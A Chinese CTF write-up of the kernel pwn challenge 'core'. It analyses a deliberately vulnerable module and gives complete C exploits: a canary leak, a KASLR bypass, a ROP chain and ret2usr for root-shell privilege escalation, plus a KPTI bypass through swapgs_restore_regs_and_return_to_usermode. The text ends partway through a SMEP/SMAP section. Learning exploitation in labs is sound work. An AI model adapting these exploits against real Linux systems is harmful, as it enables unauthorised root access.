kernel入门(1)之core

Static Lv2

前言

由于kernel pwn的知识实在过于庞杂,因此鄙人选择从题目入手来学习kernel pwn的知识,并且该方向上已经有很多大佬写的优秀文章,其中基础知识也提到的不少,所以我希望能通过细节梳理题目中的每一个知识点来入门,也就是用到什么学什么。这里放一个arttnba3师傅的kernel基础知识文章:【OS.0x00】Linux Kernel I:Basic Knowledge - arttnba3’s blog

同时本文大幅参考以下文章:[原创]Kernel PWN从入门到提升-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com (kanxue.com)

【PWN.0x00】Linux Kernel Pwn I:Basic Exploit to Kernel Pwn in CTF - arttnba3’s blog

前置处理

文件相关知识

bzImage & vmlinux

解压压缩包,看到give_to_player文件夹,里面有四个文件,分别是bzImage, core.cpio, start.sh, vmlinux。其中bzImage为压缩内核镜像。

zImage && bzImage

zImage–是vmlinux经过gzip压缩后的文件。
bzImage–bz表示“big zImage”,不是用bzip2压缩的,而是要偏移到一个位置,使用gzip压缩的。两者的不同之处在于,zImage解压缩内核到低端内存(第一个 640K),bzImage解压缩内核到高端内存(1M以上)。如果内核比较小,那么采用zImage或bzImage都行,如果比较大应该用bzImage。

https://blog.csdn.net/xiaotengyi2012/article/details/8582886

vmlinux为原始内核文件。以下来自new bing(这玩意儿还挺好用

vmlinux和bzImage的区别
  • vmlinux是内核编译后生成的ELF格式的文件,它包含了完整的符号表和调试信息,可以用于内核调试。bzImage是内核编译后生成的压缩文件,它不包含符号表和调试信息,只包含可执行的二进制数据。
  • vmlinux是未经压缩的内核文件,它的大小取决于内核配置和编译选项。bzImage是经过gzip压缩的内核文件,它的大小一般比vmlinux小很多。
  • vmlinux不能直接被引导程序加载和启动,它需要经过objcopy或其他工具处理成Image或其他格式的文件。bzImage可以直接被引导程序加载和启动,它在文件开头部分内嵌有gzip解压缩代码。
  • vmlinux在启动时不需要解压缩,它直接被加载到内存中运行。bzImage在启动时需要解压缩,它被解压缩成vmlinux格式,然后再被加载到内存中运行。
  • vmlinux和bzImage都是Linux内核的通用格式,它们可以适用于不同的架构和平台。

core.cpio

core.cpio是打包后的文件系统,常用的打包和解包命令如下

1
2
find . | cpio -o --format=newc > ./rootfs.cpio
cpio -idmv < ./rootfs.cpio (如果碰到解压出来一坨,可以直接归档管理器提取,这道题似乎就是这样)

start.sh

start.sh为qemu的启动脚本。再来看看它的内容

1
2
3
4
5
6
7
8
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \

Here is a brief explanation of the parameters:

  • qemu-system-x86_64 is the name of the QEMU emulator for x86_64 architecture
  • -m 64M specifies the amount of memory for the guest system (64 MB)
  • -kernel ./bzImage specifies the kernel image to boot from
  • -initrd ./core.cpio specifies the initial ramdisk image
  • -append “root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr” passes arguments to the kernel. In this case, it sets the root device to /dev/ram, enables read-write mode, redirects console output to ttyS0, makes the kernel panic on oops, sets the panic timeout to 1 second, suppresses kernel messages and enables kernel address space layout randomization (KASLR).
  • -s enables a gdbserver on TCP port 1234
  • -netdev user,id=t0, creates a user mode network backend with id t0
  • -device e1000,netdev=t0,id=nic0 creates an Intel e1000 network device and connects it to the network backend t0 with id nic0
  • -nographic disables graphical output and redirects serial I/Os to console

core文件系统

解包core.cpio,发现漏洞模块core.ko,以及init系统初始化脚本,还有一个gen_cpio.sh脚本,查看内容之后发现是一个快速打包命令,使用方式为./gen_cpio.sh 目标文件,就可以将文件系统打包为这个目标文件了。

然后看init脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0 -f

注意到命令cat /proc/kallsyms > /tmp/kallsyms,将kallsyms拷贝了一份到tmp目录下,这样我们就可以通过这个文件来查找函数地址了。insmod /core.ko加载内核模块,poweroff -d 120 -f &设置自动关机时间,可以删掉或者改大一点,避免影响做题。

漏洞模块分析

checksec看到开了canary和NX,IDA打开core.ko

程序中的函数有init_module core_ioctl core_copy_func core_read core_write core_release exit_core

接下来逐一分析这些函数

init_module

其实就一句

1
core_proc = proc_create("core", 438LL, 0LL, &core_fops);

程序会调用proc_create函数创建一个core文件供选手与内核交互,来看这个函数的定义

1
static inline struct proc_dir_entry *proc_create(const char *name, mode_t mode, struct proc_dir_entry *parent, const struct file_operations *proc_fops);

其中struct file_operations的定义如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
struct file_operations {
struct module *owner;
loff_t (*llseek) (struct file *, loff_t, int);
ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
ssize_t (*aio_read) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
ssize_t (*aio_write) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
int (*readdir) (struct file *, void *, filldir_t);
unsigned int (*poll) (struct file *, struct poll_table_struct *);
long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
long (*compat_ioctl) (struct file *, unsigned int, unsigned long);
int (*mmap) (struct file *, struct vm_area_struct *);
int (*open) (struct inode *, struct file *);
int (*flush) (struct file *, fl_owner_t id);
int (*release) (struct inode *, struct file *);
int (*fsync) (struct file *, loff_t, loff_t, int datasync);
int (*aio_fsync) (struct kiocb *, int datasync);
int (*fasync) (int, struct file *, int);
int (*lock) (struct file *, int, struct file_lock *);
ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);
unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long,
unsigned long, unsigned long);
int (*check_flags)(int);
int (*flock) (struct file *, int, struct file_lock *);
ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int);
ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int);
int (*setlease)(struct file *, long, struct file_lock **);
long (*fallocate)(struct file *file, int mode, loff_t offset,loff_t len);
int (*show_fdinfo)(struct seq_file *m, struct file *f);
};

其中比较常用的函数有:
第1行:owner拥有该拥有该结构体的模块指针,一般设置为 THIS_MODULE,防止模块还在被使用的时候被卸载。
第2行:lseek函数用于修改文件当前的读写位置。
第3行:read函数用于读取设备文件。
第4行:write函数用于向设备文件写入(发送)数据。
第13行:open函数用于打开设备文件。
第15行:release函数用于释放 函数用于释放 函数用于释放 (关闭 )设备文件,与应用程序中的close()函数对应。
原文链接:https://blog.csdn.net/qq_40642828/article/details/103810494

在本题中,该结构体如下

1
2
3
4
5
6
static struct file_operations test_fops = {
.owner = this_module,
.write = core_write,
.compat_ioctl = core_ioctl,
.release = core_release,
};

也就是说在使用write函数向core文件写入的时候会调用core_write函数,在使用ioctl时会调用core_ioctl函数。而core_release就是内核模块的关闭函数,相当于close().

core_write

1
2
if ( a3 <= 0x800 && !copy_from_user(&name, a2, a3) )
return (unsigned int)a3;

关键代码就这一句,在写入大小小于等于0x800时,将用户空间中a2位置的数据拷贝a3字节到内核中的 name区域

core_ioctl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
switch ( a2 )
{
case 0x6677889B:
core_read(a3);
break;
case 0x6677889C:
printk(&unk_2CD);
off = a3;
break;
case 0x6677889A:
printk(&unk_2B3);
core_copy_func(a3);
break;
}
return 0LL;
}

这个函数是程序的关键函数,第一个可以调用core_read函数,第二个可以设置off变量的值,第三个可以调用core_copy_func函数

core_read

实际上关键代码也就一句

1
result = copy_to_user(a1, &v5[off], 64LL);

由于我们可以任意改变off变量的值,因此将它们拷贝到用户空间后打印可以实现信息泄露

core_copy_func

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 __fastcall core_copy_func(__int64 a1)
{
__int64 result; // rax
_QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF

v2[8] = __readgsqword(0x28u);
printk(&unk_215);
if ( a1 > 63 )
{
printk(&unk_2A1);
return 0xFFFFFFFFLL;
}
else
{
result = 0LL;
qmemcpy(v2, &name, (unsigned __int16)a1);
}
return result;
}

函数可以从name拷贝小于63个字节到v2数组,而这里存在整形溢出,在qmemcpy中使用了unsigned,而传入时是__int64,因此可以产生栈溢出。

exit_module

一个退出模块的函数

基本思路

basic

这里直接偷了a3✌的文

ROP即返回导向编程(Return-oriented programming),应当是大家比较熟悉的一种攻击方式——通过复用代码片段的方式控制程序执行流

内核态的 ROP 与用户态的 ROP 一般无二,只不过利用的 gadget 变成了内核中的 gadget,所需要构造执行的 ropchain 由system("/bin/sh")变为了 commit_creds(prepare_kernel_cred(&init_task)) 或 commit_creds(&init_cred)

当成功执行如上函数之后,当前线程的 cred 结构体便变为 init 进程的 cred 的拷贝,我们也就获得了 root 权限,此时在用户态起一个 shell 便能获得 root shell

  • 需要注意的是 旧版本内核上所用的提权方法 commit_creds(prepare_kernel_cred(NULL)) 已经不再能被使用,在高版本的内核当中 prepare_kernel_cred(NULL) 将不再返回一个 root cred,这也令 ROP chain 的构造变为更加困难 :(

状态保存

再偷~~~

通常情况下,我们的exploit需要进入到内核当中完成提权,而我们最终仍然需要着陆回用户态以获得一个root权限的shell,因此在我们的exploit进入内核态之前我们需要手动模拟用户态进入内核态的准备工作——保存各寄存器的值到内核栈上,以便于后续着陆回用户态

通常情况下使用如下函数保存各寄存器值到我们自己定义的变量中,以便于构造 rop 链:

算是一个通用的pwn板子

方便起见,使用了内联汇编,编译时需要指定参数:-masm=intel

1
2
3
4
5
6
7
8
9
10
11
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

获取函数地址及KASLR偏移

在用户态的ROP中,我们时常需要获取system函数的地址。在内核态中,也是同样的。不同的是我们需要读取/proc/kallsyms来获取commit_credsprepare_kernel_cred的函数地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
FILE* sym_table_fd = fopen("/tmp/kallsyms", "r");
if(sym_table_fd < 0)
{
printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
exit(-1);
}

char buf[0x50], type[0x10];
size_t addr;
//获取commit_creds和prepare_kernel_cred函数地址
while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf))
{
if(prepare_kernel_cred && commit_creds)
break;

if(!commit_creds && !strcmp(buf, "commit_creds"))
{
commit_creds = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds);
continue;
}

if(!strcmp(buf, "prepare_kernel_cred"))
{
prepare_kernel_cred = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred);
continue;
}
}

//0xffffffff8109c8e0通过cat /tmp/kallsyms | grep 'commit_creds'得到
//为未开启KASLR前的固定地址,相减后求出offset
size_t offset = commit_creds - 0xffffffff8109c8e0;

首先我们需要在qemu的启动参数中将kaslr改成nokaslr,然后启动执行cat /tmp/kallsyms | grep 'commit_creds',即可得到未偏移的地址。然后在开启后再次获取,计算偏移,即可绕过KASLR。

泄露canary

可以直接设置off变量,然后调用core_read函数泄露

1
2
3
4
5
//get the canary
size_t canary;
set_off_value(fd, 64); //数组的第64项恰好越界到canary
core_read(fd, buf);
canary = ((size_t *)buf)[0];

构造ROP链

ROP链要完成的事情就是commit_creds(prepare_kernel_cred(NULL)),然后着陆回用户态执行system('/bin/sh')获得一个shell

在这个过程中就必须要有一些gadget,用ROPgadget或者ropper,有时候这两个会有一个很慢或者找不到,这时用另一个就行了。找到后加上之前算出来的ASLR偏移就行。

查找gadget其实还可以直接objdump -D ./vmlinux > ../asm把整个程序的反汇编dump出来,然后直接用vim搜,不过汇编格式是AT&T风格

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#define POP_RDI_RET 0xffffffff81000b2f
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define POP_RDX_RET 0xffffffff810a0f49
#define POP_RCX_RET 0xffffffff81021e53
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define IRETQ 0xffffffff81050ac2

//construct the rop chain
size_t rop_chain[0x100], i=0;
for(; i < 10; i++)
rop_chain[i] = canary;
rop_chain[i++] = POP_RDI_RET + offset;
rop_chain[i++] = 0;
rop_chain[i++] = prepare_kernel_cred;
rop_chain[i++] = POP_RDX_RET + offset;
rop_chain[i++] = POP_RCX_RET + offset; // just to clear the useless stack data
rop_chain[i++] = MOV_RDI_RAX_CALL_RDX + offset;
rop_chain[i++] = commit_creds;
rop_chain[i++] = SWAPGS_POPFQ_RET + offset;
rop_chain[i++] = 0;
rop_chain[i++] = IRETQ + offset;
rop_chain[i++] = (size_t)get_root_shell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp;
rop_chain[i++] = user_ss;

关于着陆回用户态,这里再偷个a3✌的文:

这篇博客 当中笔者简要叙述了内核态返回用户态的过程:

  • swapgs指令恢复用户态GS寄存器
  • sysretq或者iretq恢复到用户空间

那么我们只需要在内核中找到相应的gadget并执行swapgs;iretq就可以成功着陆回用户态

通常来说,我们应当构造如下rop链以返回用户态并获得一个shell:

1
2
3
4
5
6
7
↓   swapgs
iretq
user_shell_addr
user_cs
user_eflags //64bit user_rflags
user_sp
user_ss

关于调试

对于pwn题,调试无疑是重中之重。在该题目中,qemu的启动参数中出现了-s选项,表示预留了tcp::1234端口供gdb调试,如果没有,也可以手动添加-gdb tcp::1234,然后gdb可以target remote :1234远程连接。

同时我们需要手动导入符号表,首先在init文件中添加cat /sys/module/core/sections/.text > /tmp/info将符号表备份到/tmp/info位置,然后运行,例如得到

1
2
/tmp $ cat info
0xffffffffc030c000

那么在gdb连接之后可以add-symbol-file ./core/core.ko 0xffffffffc030c000添加符号表,然后就可以正常下断点了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>
#include<fcntl.h>
#include<sys/types.h>

#define POP_RDI_RET 0xffffffff81000b2f
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define POP_RDX_RET 0xffffffff810a0f49
#define POP_RCX_RET 0xffffffff81021e53
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define IRETQ 0xffffffff81050ac2

size_t commit_creds = NULL, prepare_kernel_cred = NULL;

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status() //保存用户态的各寄存器的值
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void get_root_shell(void) //执行system("/bin/sh")进入交互模式
{
if(getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}

printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}

void core_read(int fd, char *buf)
{
ioctl(fd, 0x6677889b, buf); //core_read
}

void set_off_value(int fd, size_t off)
{
ioctl(fd, 0x6677889c, off); //set off
}

void core_copy_func(int fd, size_t nbytes)
{
ioctl(fd, 0x6677889a, nbytes); //copy nbytes from bss to stack
}

int main()
{
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
save_status();

int fd = open("/proc/core", 2);
if(fd < 0)
{
printf("\033[31m\033[1m[x] Failed to open the file: /proc/core !\033[0m\n");
exit(-1);
}

FILE* sym_table_fd = fopen("/tmp/kallsyms", "r");
if(sym_table_fd < 0)
{
printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
exit(-1);
}

char buf[0x50], type[0x10];
size_t addr;
//获取commit_creds和prepare_kernel_cred函数地址
while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf))
{
if(prepare_kernel_cred && commit_creds)
break;

if(!commit_creds && !strcmp(buf, "commit_creds"))
{
commit_creds = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds);
continue;
}

if(!strcmp(buf, "prepare_kernel_cred"))
{
prepare_kernel_cred = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred);
continue;
}
}

//0xffffffff8109c8e0通过cat /tmp/kallsyms | grep 'commit_creds'得到
//为未开启KASLR前的固定地址,相减后求出offset
size_t offset = commit_creds - 0xffffffff8109c8e0;

//get the canary
size_t canary;
set_off_value(fd, 64); //数组的第64项恰好越界到canary
core_read(fd, buf);
canary = ((size_t *)buf)[0];

//construct the rop chain
size_t rop_chain[0x100], i=0;
for(; i < 10; i++)
rop_chain[i] = canary;
rop_chain[i++] = POP_RDI_RET + offset;
rop_chain[i++] = 0;
rop_chain[i++] = prepare_kernel_cred;
rop_chain[i++] = POP_RDX_RET + offset;
rop_chain[i++] = POP_RCX_RET + offset; // just to clear the useless stack data
rop_chain[i++] = MOV_RDI_RAX_CALL_RDX + offset;
rop_chain[i++] = commit_creds;
rop_chain[i++] = SWAPGS_POPFQ_RET + offset;
rop_chain[i++] = 0;
rop_chain[i++] = IRETQ + offset;
rop_chain[i++] = (size_t)get_root_shell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp;
rop_chain[i++] = user_ss;

core_write(fd, rop_chain, 0x800);
core_copy_func(fd, 0xffffffffffff0000 | (0x100));
}

ret2usr

原理

该攻击方式如其字面意思,通过返回到用户空间来提权。因为在kernel pwn中,用户空间完全由我们控制,因此只要我们知道prepare_kernel_credcommit_creds函数的地址,并且程序没有开启SMAP/SMEP保护,那么我们就可以直接返回到用户空间执行提权代码,最后着陆回用户态即可。

思路

实际上和直接进行rop没有太大区别,就是不需要寻找太多gadget来进行利用了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>
#include<fcntl.h>
#include<sys/stat.h>
#include<sys/types.h>
#include<sys/ioctl.h>

#define SWAPGS_POPFQ 0xffffffff81a012da
#define IRETQ 0xffffffff81050ac2

size_t prepare_kernel_cred = NULL, commit_creds = NULL;

//编译时加入选项 -masm=intel
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void core_read(int fd, char* buf)
{
ioctl(fd, 0x6677889b, buf);
}

void core_set_off(int fd, int num)
{
ioctl(fd, 0x6677889c, num);
}

void core_copy_func(int fd, long num)
{
ioctl(fd, 0x6677889a, num);
}

/* for ret2usr attacker */
void get_root_privilige()
{
void *(*prepare_kernel_cred_ptr)(void *) =
(void *(*)(void*)) prepare_kernel_cred;
int (*commit_creds_ptr)(void *) = (int (*)(void*)) commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

/* root checker and shell poper */
void get_root_shell(void)
{
if(getuid()) {
puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
sleep(5);
exit(EXIT_FAILURE);
}

puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

system("/bin/sh");

/* to exit the process normally, instead of segmentation fault */
exit(EXIT_SUCCESS);
}

int main()
{
saveStatus(); //保存寄存器状态
int fd = open("/proc/core", 2); //打开交互文件
if(fd == 0)
{
printf("open core failure!\n");
return 0;
}

FILE* sym_table_fd = fopen("/tmp/kallsyms", "r"); //获取函数地址
if(sym_table_fd < 0)
{
printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
exit(-1);
}

char buf[0x50], type[0x10];
size_t addr;
//获取commit_creds和prepare_kernel_cred函数地址
while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf))
{
if(prepare_kernel_cred && commit_creds)
break;

if(!commit_creds && !strcmp(buf, "commit_creds"))
{
commit_creds = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds);
continue;
}

if(!strcmp(buf, "prepare_kernel_cred"))
{
prepare_kernel_cred = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred);
continue;
}
}

//0xffffffff8109c8e0通过cat /tmp/kallsyms | grep 'commit_creds'得到
//为未开启KASLR前的固定地址,相减后求出offset
size_t offset = commit_creds - 0xffffffff8109c8e0;

//泄露canary
//char buf[0x100] = "\x00";
core_set_off(fd, 64);
core_read(fd, buf);
long canary = *(long*)buf;
//printf("canary is: %lx\n", *(long*)buf);

//构造ROP chain
int i;
size_t chain[0x100];
for(i = 0; i < 10; i++)
chain[i] = canary;
chain[i++] = (size_t)get_root_privilige;
chain[i++] = SWAPGS_POPFQ + offset;
chain[i++] = 0;
chain[i++] = IRETQ + offset;
chain[i++] = (size_t)get_root_shell;
chain[i++] = user_cs;
chain[i++] = user_rflags;
chain[i++] = user_sp;
chain[i++] = user_ss;
write(fd, chain, 0x800);
core_copy_func(fd, 0xffffffffffff0000 | (0x100));

return 0;
}

Add KPTI

原理

KPTI(Kernel PageTable Isolation)全称内核页表隔离,它通过完全分离用户空间与内核空间页表来解决页表泄露。

KPTI中每个进程有两套页表——内核态页表与用户态页表(两个地址空间)。内核态页表只能在内核态下访问,可以创建到内核和用户的映射(不过用户空间受SMAP和SMEP保护)。用户态页表只包含用户空间。不过由于涉及到上下文切换,所以在用户态页表中必须包含部分内核地址,用来建立到中断入口和出口的映射。

当中断在用户态发生时,就涉及到切换CR3寄存器,从用户态地址空间切换到内核态的地址空间。中断上半部的要求是尽可能的快,从而切换CR3这个操作也要求尽可能的快。为了达到这个目的,KPTI中将内核空间的PGD和用户空间的PGD连续的放置在一个8KB的内存空间中(内核态在低位,用户态在高位)。这段空间必须是8K对齐的,这样将CR3的切换操作转换为将CR3值的第13位(由低到高)的置位或清零操作,提高了CR3切换的速度。

Linux在v2.6.11以后,最终采用的方案是4级页表,分别是:

PGD:page Global directory(47-39), 页全局目录
PUD:Page Upper Directory(38-30),页上级目录
PMD:page middle directory(29-21),页中间目录
PTE:page table entry(20-12),页表项

利用

在原理中解释了在KPTI开启时如何切换内核态和用户态的PGD,也就是说,我们只要能将CR3寄存器的第13位取反,那么就可以实现KPTI的绕过。

除了在系统调用入口中将用户态页表切换到内核态页表的代码外,内核也相应地在 arch/x86/entry/entry_64.S 中提供了一个用于完成内核态页表切换回到用户态页表的函数 swapgs_restore_regs_and_return_to_usermode,地址可以在 /proc/kallsyms 中获得。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
swapgs_restore_regs_and_return_to_usermode

.text:FFFFFFFF81600A34 41 5F pop r15
.text:FFFFFFFF81600A36 41 5E pop r14
.text:FFFFFFFF81600A38 41 5D pop r13
.text:FFFFFFFF81600A3A 41 5C pop r12
.text:FFFFFFFF81600A3C 5D pop rbp
.text:FFFFFFFF81600A3D 5B pop rbx
.text:FFFFFFFF81600A3E 41 5B pop r11
.text:FFFFFFFF81600A40 41 5A pop r10
.text:FFFFFFFF81600A42 41 59 pop r9
.text:FFFFFFFF81600A44 41 58 pop r8
.text:FFFFFFFF81600A46 58 pop rax
.text:FFFFFFFF81600A47 59 pop rcx
.text:FFFFFFFF81600A48 5A pop rdx
.text:FFFFFFFF81600A49 5E pop rsi
.text:FFFFFFFF81600A4A 48 89 E7 mov rdi, rsp <<<<<<<<<<<<<<<<<<
.text:FFFFFFFF81600A4D 65 48 8B 24 25+ mov rsp, gs: 0x5004
.text:FFFFFFFF81600A56 FF 77 30 push qword ptr [rdi+30h]
.text:FFFFFFFF81600A59 FF 77 28 push qword ptr [rdi+28h]
.text:FFFFFFFF81600A5C FF 77 20 push qword ptr [rdi+20h]
.text:FFFFFFFF81600A5F FF 77 18 push qword ptr [rdi+18h]
.text:FFFFFFFF81600A62 FF 77 10 push qword ptr [rdi+10h]
.text:FFFFFFFF81600A65 FF 37 push qword ptr [rdi]
.text:FFFFFFFF81600A67 50 push rax
.text:FFFFFFFF81600A68 EB 43 nop
.text:FFFFFFFF81600A6A 0F 20 DF mov rdi, cr3
.text:FFFFFFFF81600A6D EB 34 jmp 0xFFFFFFFF81600AA3

.text:FFFFFFFF81600AA3 48 81 CF 00 10+ or rdi, 1000h
.text:FFFFFFFF81600AAA 0F 22 DF mov cr3, rdi
.text:FFFFFFFF81600AAD 58 pop rax
.text:FFFFFFFF81600AAE 5F pop rdi
.text:FFFFFFFF81600AAF FF 15 23 65 62+ call cs: SWAPGS
.text:FFFFFFFF81600AB5 FF 25 15 65 62+ jmp cs: INTERRUPT_RETURN

_SWAPGS
.text:FFFFFFFF8103EFC0 55 push rbp
.text:FFFFFFFF8103EFC1 48 89 E5 mov rbp, rsp
.text:FFFFFFFF8103EFC4 0F 01 F8 swapgs
.text:FFFFFFFF8103EFC7 5D pop rbp
.text:FFFFFFFF8103EFC8 C3 retn


_INTERRUPT_RETURN
.text:FFFFFFFF81600AE0 F6 44 24 20 04 test byte ptr [rsp+0x20], 4
.text:FFFFFFFF81600AE5 75 02 jnz native_irq_return_ldt
.text:FFFFFFFF81600AE7 48 CF iretq

可以看到该函数对栈进行了很多push pop操作,但是所有操作可以简化为如下部分

1
2
3
4
5
6
7
mov  rdi, cr3
or rdi, 0x1000
mov cr3, rdi
pop rax
pop rdi
swapgs
iretq

因此只要布置上如下布局就可以绕过KPTI

1
2
3
4
5
6
7
8
↓   swapgs_restore_regs_and_return_to_usermode + 0x16  (这里从0x16开始是因为前面的pop操作无关紧要)
0 // padding
0 // padding
user_shell_addr
user_cs
user_rflags
user_sp
user_ss

core with KPTI

要给程序加上KPTI保护,我们只需要在start.sh中添加-cpu kvm64 \,就会默认开启KPTI

kpti 在 qemu64-v1 上默认是关闭的,但在其他型号 CPU 上默认是开启的

只需修改ROP链为如下即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
for(i = 0; i < 10; i++)
chain[i] = canary;
chain[i++] = POP_RDI_RET + offset;
chain[i++] = 0;
chain[i++] = prepare_kernel_cred;
chain[i++] = POP_RDX_RET + offset;
chain[i++] = commit_creds;
chain[i++] = MOV_RDI_RAX_JMP_RDX + offset;

chain[i++] = swapgs_restore_regs_and_return_to_usermode+0x16;
chain[i++] = 0;
chain[i++] = 0;
/*修改前为:
chain[i++] = SWAPGS_POPFQ + offset;
chain[i++] = 0;
chain[i++] = IRETQ + offset;
*/
chain[i++] = (size_t)get_root_shell;
chain[i++] = user_cs;
chain[i++] = user_rflags;
chain[i++] = user_sp;
chain[i++] = user_ss;

在开启了kpti之后,ret2usr便无法使用,因为对于开启了 KPTI 的内核而言,内核页表的用户地址空间无执行权限,因此当内核尝试执行用户空间代码时,由于对应页顶级表项没有设置可执行位,因此会直接 panic

Add smep & smap

SMAP/SMEP

SMAP即管理模式访问保护(Supervisor Mode Access Prevention),SMEP即管理模式执行保护(Supervisor Mode Execution Prevention),这两种保护通常是同时开启的,用以阻止内核空间直接访问/执行用户空间的数据,完全地将内核空间与用户空间相分隔开,用以防范ret2usr(return-to-user,将内核空间的指令指针重定向至用户空间上构造好的提权代码)攻击

SMEP保护的绕过有以下两种方式:

  • 利用内核线性映射区对物理地址空间的完整映射,找到用户空间对应页框的内核空间地址,利用该内核地址完成对用户空间的访问(即一个内核空间地址与一个用户空间地址映射到了同一个页框上),这种攻击手法称为 ret2dir
